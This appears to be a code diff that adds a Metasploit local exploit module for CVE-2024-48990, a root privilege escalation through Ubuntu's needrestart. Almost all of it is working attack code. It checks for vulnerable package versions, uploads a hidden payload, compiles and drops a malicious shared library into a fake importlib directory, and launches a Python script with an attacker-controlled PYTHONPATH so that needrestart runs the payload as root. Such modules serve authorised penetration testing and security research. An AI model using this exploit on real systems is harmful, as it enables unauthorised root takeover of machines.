|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = GreatRanking |
| 8 | + |
| 9 | + include Msf::Post::Linux::Priv |
| 10 | + include Msf::Post::Linux::System |
| 11 | + include Msf::Post::File |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Post::Linux::Kernel |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + include Msf::Post::Linux::Compile |
| 16 | + prepend Msf::Exploit::Remote::AutoCheck |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super( |
| 20 | + update_info( |
| 21 | + info, |
| 22 | + 'Name' => 'Ubuntu needrestart Privilege Escalation', |
| 23 | + 'Description' => %q{ |
| 24 | + Local attackers can execute arbitrary code as root by |
| 25 | + tricking needrestart into running the Python interpreter with an |
| 26 | + attacker-controlled PYTHONPATH environment variable. |
| 27 | +
|
| 28 | + Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 |
| 29 | + Attempted exploitation against Debian 12, expliotation failed |
| 30 | + }, |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'Author' => [ |
| 33 | + 'h00die', # msf module |
| 34 | + 'makuga01', # PoC |
| 35 | + 'qualys' # original advisory |
| 36 | + ], |
| 37 | + 'Platform' => [ 'linux' ], |
| 38 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 39 | + 'Stance' => Msf::Exploit::Stance::Passive, |
| 40 | + 'Passive' => true, |
| 41 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 42 | + 'Targets' => [[ 'Auto', {} ]], |
| 43 | + 'Privileged' => true, |
| 44 | + 'References' => [ |
| 45 | + [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], |
| 46 | + [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], |
| 47 | + [ 'CVE', '2024-48990'] |
| 48 | + ], |
| 49 | + 'DisclosureDate' => '2024-11-19', |
| 50 | + 'DefaultTarget' => 0, |
| 51 | + 'Notes' => { |
| 52 | + 'Stability' => [CRASH_SAFE], |
| 53 | + 'Reliability' => [REPEATABLE_SESSION], |
| 54 | + 'SideEffects' => [ARTIFACTS_ON_DISK] |
| 55 | + } |
| 56 | + ) |
| 57 | + ) |
| 58 | + register_advanced_options [ |
| 59 | + OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), |
| 60 | + OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs |
| 61 | + ] |
| 62 | + end |
| 63 | + |
| 64 | + def base_dir |
| 65 | + datastore['WritableDir'].to_s |
| 66 | + end |
| 67 | + |
| 68 | + def check |
| 69 | + # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f |
| 70 | + # debian https://security-tracker.debian.org/tracker/CVE-2024-48990 |
| 71 | + fixed_versions = { |
| 72 | + '24.10' => Rex::Version.new('3.6-8ubuntu4.2'), |
| 73 | + '24.04' => Rex::Version.new('3.6-7ubuntu4.3'), |
| 74 | + '22.04' => Rex::Version.new('3.5-5ubuntu2.2'), |
| 75 | + '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), |
| 76 | + '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), |
| 77 | + '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), |
| 78 | + '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm |
| 79 | + '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye |
| 80 | + # may be more versions, but this felt good enough |
| 81 | + '38' => Rex::Version.new('3.8-1'), |
| 82 | + '39' => Rex::Version.new('3.8-1'), |
| 83 | + '40' => Rex::Version.new('3.8-1'), |
| 84 | + '41' => Rex::Version.new('3.8-1') |
| 85 | + } |
| 86 | + info = get_sysinfo |
| 87 | + return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro] |
| 88 | + |
| 89 | + if info[:distro] == 'ubuntu' |
| 90 | + version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info |
| 91 | + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version |
| 92 | + elsif info[:distro] == 'debian' |
| 93 | + return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it') |
| 94 | + elsif info[:distro] == 'fedora' |
| 95 | + return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it') |
| 96 | + end |
| 97 | + |
| 98 | + return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') |
| 99 | + |
| 100 | + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') |
| 101 | + package = package.split(' ')[2] |
| 102 | + package = package.gsub('+', '.') |
| 103 | + # next line will need to be included if we want to support fedora |
| 104 | + # package = package.gsub('needrestart-', '') # fedora specific |
| 105 | + package = Rex::Version.new(package) |
| 106 | + return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil |
| 107 | + |
| 108 | + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] |
| 109 | + |
| 110 | + CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}") |
| 111 | + end |
| 112 | + |
| 113 | + def exploit |
| 114 | + # Check if we're already root |
| 115 | + if !datastore['ForceExploit'] && is_root? |
| 116 | + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' |
| 117 | + end |
| 118 | + |
| 119 | + # Make sure we can write our exploit and payload to the local system |
| 120 | + unless writable? base_dir |
| 121 | + fail_with Failure::BadConfig, "#{base_dir} is not writable" |
| 122 | + end |
| 123 | + |
| 124 | + # upload payload |
| 125 | + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" |
| 126 | + upload_and_chmodx payload_path, generate_payload_exe |
| 127 | + vprint_status("Uploading payload: #{payload_path}") |
| 128 | + register_files_for_cleanup(payload_path) |
| 129 | + |
| 130 | + # our c stub file does our chmod/chown/suid for the payload |
| 131 | + c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm')) |
| 132 | + c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) |
| 133 | + |
| 134 | + case kernel_arch |
| 135 | + when ARCH_X86 |
| 136 | + cpu = Metasm::Ia32.new |
| 137 | + when ARCH_X64 |
| 138 | + cpu = Metasm::X86_64.new |
| 139 | + else |
| 140 | + fail_with Failure::NoTarget, 'Target is not compatible' |
| 141 | + end |
| 142 | + |
| 143 | + begin |
| 144 | + c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib) |
| 145 | + c_stub_path = "#{base_dir}/importlib/__init__.so" |
| 146 | + rescue StandardError |
| 147 | + print_error "Metasm encoding failed: #{$ERROR_INFO}" |
| 148 | + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" |
| 149 | + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" |
| 150 | + fail_with Failure::Unknown, 'Metasm encoding failed' |
| 151 | + end |
| 152 | + |
| 153 | + mkdir "#{base_dir}/importlib" |
| 154 | + write_file(c_stub_path, c_stub) |
| 155 | + vprint_status("Uploading c_stub: #{c_stub_path}") |
| 156 | + register_files_for_cleanup(c_stub_path) |
| 157 | + register_dir_for_cleanup("#{base_dir}/importlib") |
| 158 | + |
| 159 | + # the python script is needed for having the PYTHONPATH set and watches |
| 160 | + # for our payload to be modified, then run it |
| 161 | + py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) |
| 162 | + py_script = py_script.gsub('PAYLOAD_PATH', payload_path) |
| 163 | + |
| 164 | + py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" |
| 165 | + write_file py_stub_path, py_script |
| 166 | + vprint_status("Uploading py_script: #{py_stub_path}") |
| 167 | + register_files_for_cleanup(py_stub_path) |
| 168 | + |
| 169 | + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the |
| 170 | + # output from the exploit being run, they can optionally see it |
| 171 | + print_status 'Launching exploit, and waiting for needrestart to run...' |
| 172 | + output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout'] |
| 173 | + output.each_line { |line| vprint_status line.chomp } |
| 174 | + end |
| 175 | +end |
0 commit comments